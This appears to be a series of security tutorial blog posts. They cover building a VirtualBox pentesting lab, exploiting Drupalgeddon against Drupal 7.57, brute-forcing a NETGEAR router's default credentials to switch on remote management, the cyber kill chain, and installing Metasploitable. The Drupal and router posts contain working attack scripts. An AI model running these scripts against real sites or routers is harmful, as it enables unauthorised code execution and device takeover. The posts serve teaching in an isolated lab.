    In this lab you can test, and hack away without worrying about the men in black showing up at your door. Plus, in a virtual environment you can carefully monitor each system’s behavior during an attack giving you further insight into how an exploit compromises a system.

    In addition, with a virtual network you can clone and snapshot instances with just a few clicks and easily create new pre-configured hosts. This allows you to try many different techniques in a short period of time, and always start from the same base configuration.

    Below are the steps we will take to create the virtual penetration testing lab.

    Install VirtualBox

    VirtualBox is a fantastic virtualization tool for building a penetration testing lab.

    First, you will want to grab a copy of VirtualBox and run through the installation for your OS. VirtualBox is a fantastic virtualization tool and provides a rich feature set for operating virtual machines.

    Our entire virtual penetration testing lab will be hosted in VirtualBox. This keeps the host system nice and tidy. Most PCs these days can easily support 2 or even 3 Linux guest VMs hosting a simple web server for example.

    VirtualBox also provides snapshot capabilities allowing VM states to be stored and recalled with the click of a button.

    Set up the Virtual Network

    Once we’ve got VirtualBox installed we need a network for our machines to live on. To keep the lab isolated we will want the machines to be restricted to a dedicated private network. VirtualBox makes this easy with the NAT Network. With a NAT Network all of our lab machines can easily communicate with one another while also having NATed access to the Internet.

    If you haven’t set up a NAT Network before read on below. It is a little different from the other VirtualBox networking options but I will show you how to set up a NAT Network in VirtualBox.

    First you will need to create the network itself. This is done under VirtualBox > Preferences. Select the Network tab and then add a new network.

    Double-clicking the newly created network allows you to configure the subnet IP range, the name of the network, and DHCP options. For now the defaults are fine but go ahead and rename the network if you wish.

    Virtual network configuration for virtual penetration testing lab.

    I like the NAT Network option best as it provides each of the VMs with a NATed Internet connection. It also places each of the VMs on the same private network allowing our lab machines to easily communicate with one another. Now let us fill our penetration testing lab with some machines.

    Create the Kali Host

    Kali Linux is a fantastic distribution loaded with all sorts of penetration testing tools. I like to have a Kali host on my lab network either for launching attacks or fingerprinting hosts.

    Kali is a breeze to install with the pre-made VirtualBox image. Follow our in-depth tutorial to Install Kali LInux in Virtual Box on Mac. Check that guide out if you need some extra help, otherwise the basic steps are listed below.

    Download the Kali VirtualBox image from the Offensive Security downloads page.

    The downloaded file is a VirtualBox appliance file. After the download completes, open VirtualBox and select File > Import Appliance…

    select-downloaded-kali-appliance

    The default user for the appliance is root with a default password of toor.

    Now let us add some targets to the lab network.

    Build the Base Ubuntu Image

    Ideally we want the virtual pentesting lab to be as re-useable as possible. I use VirtualBox appliances for this. An appliance packages up your virtual machine as a single file including all the machine settings and the current machine state. This appliance file can be imported as many times as needed to create a new virtual machine.

    I use Ubuntu for this base machine. Ubuntu is widely supported, and an easily configured OS.

    Lets start by setting up a base Ubuntu virtual machine, and then I will show you how to create an appliance out of it.

    Download Ubuntu

    Download the Ubuntu ISO. The minimal version is fine, but grab the standard version if you prefer a full graphical desktop.

    Create the VM

    While the ISO is donwloading create a new virtual machine.

    Once the ISO has downloaded, insert it into the virtual machine.

    Install Ubuntu

    Start the VM and run through the Ubuntu installation process. For a base box most of the defaults are fine and give you a clean minimal Ubuntu installation.

    There are plenty of installation tutorials available for Ubunut and VirtualBox so I won’t go into detail here. Google is your friend.

    Remember, you’ll only have to step through this installation once!

    Tweak the Machine

    At this point you could stop and create an appliance. However you may also wish to perform a few more customizations for your base appliance.

    For example, you could install your preferred text editor (mine’s vim!), install a default set of base packages, or just customize the shell prompt.

    Export the Appliance

    Once you have finished tweaking your base box it is time to export the appliance. This is as simple as File > Export Appliance. Tweak any options, and put this file somewhere for later.

    Now whenever you need a new host in the lab, you can import this appliance. This will save you considerable time as you won’t have to go through the same initial configuration over and over for each host.

    Hacking Drupal

    That is pretty much all we need for a basic penetration testing lab. We have a master host for launching and monitoring attacks. We have also created a re-useable base appliance for easily creating test targets.

    Now I will run through an example exploit using our new penetration testing lab. I will demonstrate one of the DrupalGeddon vulnerabilities that were discovered in early 2018. You may want to start by reading the analysis of the vulnerability.

    For this example we will set up a base web server running a vulnerable Drupal installation.

    We will then use a simple Python script on the Kali host and exploit the vulnerability.

    Creating the Target Host

    If you don’t have any Ubuntu VMs running, grab your appliance and spin up a new VM. Log in to your target virtual machine to begin the setup.

    The Drupalgeddon vulnerability came out quite some time ago so we will need to install some repositories first.

    # Install php5.6 repository
    apt-get install software-properties-common
    add-apt-repository ppa:ondrej/php
    apt-get update
    
    # Install php5.6 packages
    apt-get install php5.6 php5.6-gd php5.6-xml php5.6-mysql php5.6-mbstring

    Now we can install the Apache web server and the MySQL database

    # Install Apache and MySQL
    apt install apache2
    apt install mysql-server
    
    # Restart apache2
    service apache2 restart
    
    # Restart mysql
    service mysql restart
    
    # Secure mysql installation
    mysql_secure_installation

    Now let’s create the database and user.

    # Use mysql command to enter the mysql console
    mysql
    
    # Then create the database and user
    mysql> CREATE DATABASE databasename CHARACTER SET utf8 COLLATE utf8_general_ci;
    mysql> CREATE USER username@localhost IDENTIFIED BY 'password';
    mysql> GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, INDEX, ALTER, CREATE TEMPORARY TABLES ON databasename.* TO 'username'@'localhost' IDENTIFIED BY 'password';

    After we have installed the required packages, we can begin to install Drupal.

    Simply download and extract the Drupal archive, and then pull up the site in a browser to complete the installation.

    cd /var/www/html/
    wget https://ftp.drupal.org/files/projects/drupal-7.57.tar.gz
    tar -xzvf drupal-7.57.tar.gz
    cd /var/www/html/drupal-7.57/
    cp sites/default/default.settings.php sites/default/settings.php
    cd /var/www/html/
    chown -R www-data:www-data drupal-7.57/

    If you need the private IP of the server you can use the following command.

    # Get the server private IP
    ifconfig

    Now navigate to the IP of your VM in a browser. You should be greeted by the Drupal installation page.

    Once you reach the database configuration page, enter the database user details for the user you created earlier.

    After the installer is complete you can check out your fresh new homepage.

    If we check the status report, we can see that we are in fact running Drupal 7.57. Now let us have some fun with this!

    Exploiting the Target

    Now that we have a vulnerable target set up, let us get to work exploiting it.

    The following is a simple Python script that will exploit the vulnerability and demonstrate remote code execution. Be sure to check out the vulnerability analysis if you aren’t sure how the script works.

    This vulnerability gives us the ability to execute arbitrary code on the target server. We could use this to do some pretty nasty things, but lets just make a tiny modification to index.php.

    The ‘shell_code’ variable holds the code that we are injecting into index.php. This is just a simple Javascript alert that will show any time the page is loaded. I’ll leave it up to you to see what else you can do with this vulnerability.

    #!/usr/bin/python
    
    import requests
    import re
    import base64
    
    target='192.168.56.9/drupal-7.57'
    shell_code = "echo \"<script>alert('Ouch. Time to patch. ');</script>\";"
    encoded_cmd = base64.b64encode(shell_code)
    bashcmd = "echo " + encoded_cmd + " | base64 -d >> index.php"
    print bashcmd
    target_url = '/?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=' + bashcmd
    payload = "form_id=user_pass&_triggering_element_name=name"
    
    url = 'http://' + target + target_url
    url = url.replace('#', '%23')
    url = url.replace(' ', '+')
    print url
    
    headers = {'content-type': 'application/x-www-form-urlencoded'}
    r = requests.post(url, headers=headers, data=payload)
    body = r.text
    
    # Extract form id from body
    m = re.search('form_build_id" value="(form-.*)"', body)
    form_build_id = m.group(1)
    
    trigger_url = 'http://' + target + '/?q=file/ajax/name/#value/' + form_build_id
    trigger_url = trigger_url.replace('#', '%23')
    trigger_url = trigger_url.replace(' ', '+')
    payload = "form_build_id=" + form_build_id
    
    # Trigger the exploit
    r = requests.post(trigger_url, headers=headers, data=payload)
    

    Run the script and head on over to your browser. You should see the Javascript alert pop up when the page reloads.

    And there you have it. We’ve just exploited Drupal in our virtual penetration testing lab.

    Benefits of a Virtual Penetration Testing Lab

    We’ve already covered how easy it is to create and snapshot hosts. We can also use Wireshark to monitor network traffic on our lab network.

    To do this, open Wireshark on your host machine (the one running VirtualBox). After that, select the NAT Network you created (mine is named vboxnet0) from the available interfaces list.

    Wireshark is a great tool for monitoring traffic in your virtual penetration testing lab.

    Wireshark now shows you all the traffic passing between your lab machines. This is extremely useful when debugging an exploit, or assessing a vulnerability.

    Something Extra

    The best part of a virtual penetration testing lab is the versatility it provides.

    Metasploitable2 is a vulnerable virtual machine that can easily be added to your lab.

    I go through the installation process in my article: How to Install Metasploitable in VirtualBox

    Or you can grab the download on Sourceforge.

  • Inside a Brute Force Router Takeover

    Routers provide access to the Internet for millions of users, but hackers are also using routers to gain access into your home network. In this article I expose the dangers of default credentials by performing a brute force router takeover.

    Many modern home routers offer a remote management feature, and luckily router manufacturers have stopped enabling this by default. It is not very difficult to activate this functionality. Once enabled an attacker can access and modify any settings on your router from anywhere in the world. Worst of all, your router will not give any indication that it has been compromised until it is far too late.

    I decided to spend the weekend attempting to exploit this feature in my home router, a NETGEAR WNDR4300. This article will cover the analysis of the router administration pages. I then describe the development of a Python script to programmatically enable remote management. This example of a brute force router takeover will make you want to change your default router credentials if you haven’t already! In the follow up article I will cover how this same functionality may be exploited by a weaponized website.

    Disclaimer

    When analyzing cybersecurity it is often useful, and even critical to take the mindset of an attacker. This should not be interpreted as an endorsement for illegal cyber activities. I take no responsibility for anything you do with this information. I provide it only with the hopes that it will enhance your knowledge of cybersecurity. Hacking networks and routers that you do not own is illegal unless you have express permission from the owner to do so. Always run your experiments in a controlled test environment that you own or have permission to use. 

    With that bit out of the way, let’s get started!
    If you would like to download the code developed in this article and follow along head on over to Github and download it there: PORTAL on Github

    Analyzing the Administration Pages

    I started this brute force router takeover by pulling up my router administration page and logging in, but not before starting Wireshark to sniff HTTP traffic. The administration console all operate with plaintext HTTP. This made it very easy to sniff the packets in Wireshark.

    Like most routers, my router also uses basic authentication to access the router administration pages. Default credentials are available for most routers on the Internet, and I’m willing to bet you haven’t changed yours.
    This was the first piece of the puzzle I wanted to test. I decided to use the Python Requests library to test if I can authenticate against the router. Requests even has a shortcut method for passing basic authentication credentials shown below.

    >>> import requests 
    >>> r = requests.get('http://admin:password@192.168.1.1/index.htm') >>> r.status_code
    200

    Perfect! HTTP status 200 means we have authenticated successfully. With this bit working, I knew I could easily loop through a few password lists to test default router credentials.

    Enable Remote Management

    The next piece of the puzzle is to figure out exactly how remote management is enabled. I navigated to this section of the administration pages and pulled up the page source in my browser.

    Remote management form data

    My router uses a combination of HTML frames and Javascript to display the administration pages. The remote management settings are a simple form which get submitted to /apply.cgi.

    <form method="POST" action="/apply.cgi?/FW_remote.htm timestamp=75866660299840" target=formframe>

    The administration page that is being edited is passed as a URL parameter, in this case /FW_remote.htm. There is also an additional parameter called timestamp. If you are a curious type and plug this timestamp into a UNIX timestamp converter you may find that it corresponds to a date of February 13, 4374. That doesn’t seem right…

    Refreshing the page changed the value, but not as one might expect for a timestamp. It was a completely new random number with another random date.

    Form Tokens

    This strangely behaving timestamp led me to believe that it wasn’t a timestamp at all. I began to suspect it was a type of form token to prevent automated attacks against the form. I copied the HTML out of the browser and recreated the form in a simple HTML file on my local machine.

    Submitting the form in my browser correctly enabled remote management. If I try to submit the form again however, the request fails. This makes sense if the timestamp is in fact a token as it would have already been ‘used’ in the first request.

    I went back over to the page source for the administration page and refreshed so I could grab a new token. I copied this new token into my local HTML form and tried submitting the form again. Once again I had successfully enabled remote management on the router.

    In summary: The router serves up the administration page with a unique timestamp value in the form target. This same token must be present when submitting the form or the request will fail.

    The timestamp parameter I discovered in this form is in fact the form token. This is a minor nuisance as we can still load the page initially and scrape the timestamp value before submitting our form.

    Automating the Attack

    Surely we can’t be expected to try each combination of user and password manually! This is where can leverage just a little bit of Python.
    The first step is determining the correct credentials to use. Luckily these passwords are usually left as the default and are freely available online. We start by having our Python script load data from two sets of files, users.txt and passwords.txt. These values are simply stored in a Python list.

    Python: load username and password files
    # Empty lists of usernames and passwords 
    user_names = [] 
    passwords = [] 
    # Load usernames 
    f = open('users.txt','r') 
    data = f.readlines() 
    # Strip removes the newline from the end of each row 
    user_names = [user.strip() for user in data] 
    # Load passwords 
    f = open('passwords.txt','r') 
    data = f.readlines() 
    # Strip removes the newline from the end of each row 
    passwords = [password.strip() for password in data] 
    # Print the loaded information 
    print 'Loaded users: {}'.format(user_names) 
    print 'Loaded passwords: {}'.format(passwords)

    We then use a nested for loop to iterate through each password for each username. Each iteration through the loop we test the next user and password combination and submit the request to the router IP.

    # For each username... 
    for user in user_names: 
      # Test each password... 
      for password in passwords: 
        # Test username and password here

    If we receive a 200 response, we can assume we figured out the credentials most of the time (more on this later). During testing I started with a single username, and only two passwords. A correct one, and an incorrect one.
    The Python script tests the first, incorrect password, receives a 401 response, and then proceeds to try again with the second, correct, password. At this point the script receives a 200 response and stores the user and password combination as verified_user and verified_pass.

    False Positives

    It wasn’t until I began running more realistic tests with an increased combination of usernames and passwords that I noticed something odd. It seemed as though it would always succeed on the fourth attempt regardless of which password was used. I added a debug statement to the code which dumps out the received HTML content on each response.

    It turns out after 3 failed login attempts my router does not respond with a 401 status code. Instead it responds with a 200 status code, and an Unauthorized Access page. My code only performed checks on the returned status code resulting in a false positive. The page that is returned simply has 401 Unauthorized in the title, so I added an additional check in for this string in the response body.

    With this modification my script happily tested passwords until it actually received the correct one.

    False Negatives

    From time to time it also appeared that the script would never find the correct password. I assumed this was due to the speed with which I was sending requests. I added a small delay to the main loop and performance increased drastically.

    Opening the Portal

    Now that we are able to successfully access the router administration pages, it is time to see what we can alter. Ideally we want to open a remote management port on the Internet side of the router. This allows us access the router whenever we want with out depending on the users machine. As we saw in the initial analysis, enabling remote management is a simple matter of submitting an HTML form with the correct ‘timestamp’ token.
    The first step is getting the code to load the administration page we are after, and scraping the timestamp value from the response. The code below shows the page request process and the use of a simple regex to extract the timestamp value. This piece of the code runs as it iterates through the username and password values. If the correct username and password is found, the timestamp value is extracted.

    Python: brute force passwords
    # Build full URL with username and password from list 
    url = 'http://{}:{}@{}/{}'.format(user, password, target_ip, target_page) 
    # Retrieve URL 
    r = requests.get(url) 
    # If we authenticated successfully, extract timestamp 
    if r.status_code == 200 and '401 Authorization' not in r.text:
      print '[+] Found correct user and password: {}:{}'.format(user, password) 
      verified_user = user 
      verified_pass = password 
      # Use a regex to extract the timestamp value 
      m = re.search('timestamp=(.*)\"', r.text) 
      if m: 
        timestamp = int(m.group(1)) 
        print '[+] Found timestamp: {}'.format(timestamp) 
        # We have what we need, break out of the loop 
        break

    With the timestamp in hand we need the code to craft the request, and send it! We already have the required form fields, and the correct URL for submitting our POST request from our previous analysis. Below shows the snippet of code responsible for enabling remote management on the router.

    Python: enable remote management
    # Page URL with timestamp from above 
    page = 'apply.cgi?/FW_remote.htm%20timestamp={}'.format(timestamp) 
    # Complete URL with username and password determined earlier 
    url = 'http://{}:{}@{}/{}'.format(verified_user, verified_pass, target_ip, page) 
    # Form data to enable remote management (extracted from Wireshark sniffing) 
    # We include http_rmport as a variable so we can use a custom value in the future. 
    data = { 'submit_flag': 'remote', 'http_rmenable': '1', 'local_ip': '...', 'remote_mg_enable': '0', 'rm_access': 'all', 'http_rmport': str(rmport) } 
    # Submit the request! 
    r = requests.post(url, headers=headers, data=data)

    I ran the code and quickly popped over to my browser to check. Sure if enough, remote management was enabled!

    A Complete Brute Force Router Takeover

    Well, there you have it, a brute force router takeover. We have successfully developed a Python script to brute force basic authentication credentials on router administration pages. The script also enables remote management automatically. If you would like to download the code developed in this article head on over to Github and download it there: PORTAL on Github

    If you make improvements to this code, or support additional routers, please submit a pull request. Drop me a comment below if you have any questions at all, or if you found this code useful!
    So, are you still using default credentials on your router?

    If you enjoyed reading this article I highly recommend checking out my other posts covering topics from Linux, to finance, and even horticulture!

  • Understanding the Cyber Kill Chain in the Cloud

    The cyber kill chain defines the lifecycle of a cyber attack and identifies various phases during a system intrusion. Although there are numerous interpretations of the cyber kill chain, the most basic form consists of seven stages. In this post I describe these seven stages of the cyber kill chain and how it applies in the cloud. 

    Although some interpretations may use slightly different names for the various stages, the overall concept remains the same. 

    The basic seven stages of the cyber kill chain are: 

    • Recon
    • Weaponize
    • Deliver
    • Exploit
    • Install
    • Callback
    • Persist

    I will now elaborate on each of these stages and how they apply in a cloud environment.

    Recon

    During the reconnaissance or information gathering phase, threat actors collect as much information about the intended target as possible. This data often comes from external sources allowing the attacker to avoid contact with the target until absolutely necessary. 

    A motivated attacker will leave no stone unturned when searching for information about a target.

    Attackers use a wealth of intelligence gathering techniques and sometimes may spend months gathering information about a target. Careful analysis and application of this information can allow attackers to carefully tailor an attack with a higher probability of succeeding. 

    Anonymous Recon with OSINT

    Open-Source Intelligence (OSINT) is the act of collecting information from publicly available sources. For instance, an attacker may crawl an organization’s Facebook page to identify potential employees. When an attacker collects information from publicly available sources they gain information about a target without needing to interact with them directly.

    See my Open Source Intelligence Primer for a more in-depth look at the reconnaissance phase.

    The less direct contact between the attacker and the target the less chance of being detected. For this reason, attackers will avoid contact with their target through any direct means until it is time to strike.

    Public registry databases such as WHOIS provide a wealth of information about targets including IP addresses, phone numbers, technical contacts and email addresses. Armed with this information, attackers can launch very convincing spear phishing attacks during the delivery phase.

    Attackers may also scour social media sites such as Facebook, LinkedIn and Twitter. Doing so may reveal further information about employees, their schedules, and their habits. 

    Social Engineering with Social Media

    Employees are often less conscious of the security implications of posting to social media and other cloud services.

    It is not entirely uncommon for a system administrator to inadvertently leak sensitive information when using public cloud services. In fact, a North Carolina State University (NCSU) study of public Github repositories revealed leaked credentials in over 100,000 Github repositories.

    With a list of viable emails and usernames in hand, an attacker will then search for matching online accounts. This may reveal passwords available in a recent data breach. Unfortunately many users re-use passwords across many services, and are often slow to change their passwords after a breach. 

    The explosion of cloud computing has vastly increased the amount of information available to an attacker. Simply collecting all of this information serves little use to an attacker. An attacker must now analyze and weaponize the collected information. From there an attacker can develop a strategy for exploiting any discovered weaknesses.

    In the following section I describe how an attacker prepares to strike by weaponizing the information they have collected thus far.

    Weaponize

    After performing thorough reconnaissance of a target, an attacker will have a pretty good idea of where and how to strike.

    In the weaponize phase an attacker builds their ‘cyber weapons’ and prepares to strike the target. If the attack involves deploying malware it will need to be hosted somewhere. Similarly, if the attack involves phishing emails, then the attacker will need to craft the email bodies.

    This phase may use information gathered during the reconnaissance phase to develop attacks specific to a target.

    Cybercriminals automate too…

    One of the greatest benefits of cloud computing is the ease of automation. Of course cybercriminals take advantage of the benefits of automation as well. Automation allows for quickly provisioning infrastructure. This significantly reduces the time between the reconnaissance phase, and the actual strike.

    Creation of phishing pages, malware hosts, and command and control infrastructure can all be accomplished in a matter of minutes using common automation tools such as Puppet, Chef, or Ansible.

    Attackers also use generic cloud resources to host their command and control infrastructure greatly increasing resilience against take downs.

    One recent example I have encountered in the wild is the use of Azure Pages for hosting phishing sites. Hosting phishing pages on a trusted cloud provider such as Azure has the added benefit of providing a trusted domain. Traditional firewalls will typically not catch this kind of traffic.

    After an attacker has finished setting up their infrastructure they will deliver their intended payload.

    Deliver

    This is where the attack begins in earnest. During the delivery phase the attacker delivers the malicious payload to the intended victim. This delivery can take the form of a phishing email, a watering hole attack, a supply chain attack, or even a dropped USB drive.

    With almost everything in the cloud these days it seems obvious that malicious payloads and phishing pages are served from the cloud as well. 

    This can take the form of a cloud hosted download server, or a publicly available file-sharing site. Attackers have used popular services such as Pastebin, Github, or even Pinterest and Instagram to deliver their payloads. 

    Trusted services, the Trojan horses of the Internet

    Using common services such as Google Drive also helps bypass the ‘human firewall’. Users are much more likely to trust a link directing them to a known site with a valid certificate.

    Luckily many users are smart enough not to click links directing them to a random domain. However, are those same users as wary of clicking links that lead them to a document in Google Drive?

    Attackers constantly refine their delivery techniques. The vast number of different delivery methods grows every day and evolves quickly to take advantage of new weaknesses.

    Exploit

    After the malicious payload has been delivered it must exploit the system before it becomes active. While an exploit may attack a system vulnerability, an attacker may also attempt to exploit the user. For example, a downloaded Word document may entice the user to activate macros to view the full document.

    During the exploit phase the attacker will exploit any vulnerabilities found during the reconnaissance phase. Due to the number of unpatched systems in the wild it is not uncommon for an attacker to have a number of previously disclosed vulnerabilities to draw from.

    Occasionally an attacker will take advantage of a previously unknown vulnerability with a zero-day exploit. 

    Other attacks may make use of browser vulnerabilities with drive-by sites which contain malicious Javascript code. Simply browsing to a malicious website may trigger such an exploit. 

    Accelerating expansion of cloud computing provides an increasing attack surface with numerous attacks targeting unprotected credentials, weak passwords, and poorly configured or default systems. 

    Install

    Once the initial exploit has taken place the attacker will begin to install their malicious payload. The installation phase usually consists of a series of installations. For example, the initial exploit may download a reconnaissance tool to gather further system information. Depending on the information returned the attacker may then deploy a more specific malicious payload such as a key logger, banking trojan, or crypto miner. 

    Callback

    Cybercriminals do not simply want to exploit systems for the fun of it, well most of them anyways. Instead most cybercriminals want to exploit systems for personal gain. In order to extract information that can be exploited for financial or other gain, the malicious payload must send this information back to the attackers.

    This transfer of data occurs during the callback phase. The callback phase is how attackers control their new asset. This connection can be used to extract information, add the compromised host to a botnet, or attack other systems on the network. 

    Public Cloud Callback

    In their ongoing struggle to evade detection, attackers use commonly available public services to mask their command and control activities. For instance, the Twittor project relay’s commands using the Twitter API.

    Similarly, the Gcat project executes commands through Google’s Gmail. By using popular public services, malicious traffic is more likely to bypass firewalls, and has the added benefit of blending in with regular traffic.

    The use of public services also provides resilience for the attackers infrastructure. Continuing with the Twitter example, all malicious traffic gets routed through Twitter’s servers. This makes investigations much more difficult as the traffic cannot be easily traced back to the attackers system.

    Persist

    Most attackers will not simply pack up and go home once they have penetrated a network. In the final phase of the cyber kill chain attackers will use whatever foothold they have gained and implement some form of persistence mechanism for long time personal gain.

    The longer an attack remains undetected, the longer an attacker can exploit their target.

    Once a foothold has been established in a victim network attackers can begin to further exploit the target. This may involve extracting valuable information, defacing websites, launching a denial-of-service attack, or moving laterally throughout the organizations network. 

    Lateral movement happens very quickly in a cloud environment. With many cloud administrators focusing on perimeter security, private networks within a cloud usually operate with very open permissions. Once a system in this network has been compromised it is very easy for an attacker to compromise other systems in the network.

    Attackers use the cyber kill chain…so should you!

    In this post I have elaborated on the various stages of the cyber kill chain, and how these stages apply in a cloud environment. When keeping systems secure it helps to take on the attacker’s mindset and understand their goals and techniques. The cyber kill chain describes the series of steps that an attacker may follow. When implementing security for a system it always helps to use a defense in depth approach.

    Some form of security can be applied to each phase of the cyber kill chain. For example, limiting leakage of sensitive information to public resources will limit the amount of information available during reconnaissance. Keeping systems patched will make it harder for attackers to weaponize and develop exploits. An effective spam filter will help mitigate delivery of phishing emails. Similarly, installing an effective personal anti malware software can prevent the initial exploit from even occurring, and an effective firewall can prevent a successful callback from reaching the attacker.

    I hope this post has increased your understanding of the cyber kill chain in the cloud. If you have any questions, please leave a comment below and I will leave you an answer!

  • How to Install Metasploitable in VirtualBox

    How to Install Metasploitable in VirtualBox

    In this article I go over how to install Metasploitable in VirtualBox. Metasploitable is a virtual machine with several intentional misconfigurations and vulnerabilities for you to exploit. This is a great tool for sharpening your penetration testing skills.

    You can definitely get Metasploitable up and running with out a full lab, but I highly recommend you build a virtual penetration testing lab first.

    Download Metasploitable

    Grab a copy of the Metasploitable virtual machine at: SourceForge

    Grab Metasploitable over at SourceForge

    While you are waiting for the file to download you can start setting up the VM.

    Create the VirtualBox VM

    Create a new virtual machine in Virtual Box. Give the machine a descriptive name, and select Linux as the type.

    Create virtual machine to install Metasploitable

    Use an Existing Hard Disk

    During the installation select Use an Existing Hard Disk File and select the downloaded Metasploitable vmdk file.

    Install Metasploitable VMDK

    Once the machine has been created, go ahead and fire it up.

    Start the VM

    After the initial boot process you will be greeted by the Metasploitable login screen. The default username is “msfadmin”, and the default password is also “msfadmin”.

    Login screen after installing Metasploitable

    That is all it takes to install Metasploitable. Now you may be wondering where to begin…

    Where to Start in Metasploitable

    It can be overwhelming if you have no idea how to start. Running a simple nmap scan against Metasploitable should give you plenty of avenues to explore.

    If you are still having trouble, there are tons of guides available for hacking your way through Metasploitable.

    Nmap scan after installing Metasploitable

    You may also find the cyber kill chain to be a good framework for pentesting any system.

    Feel free to drop a comment below with any Metasploitable questions!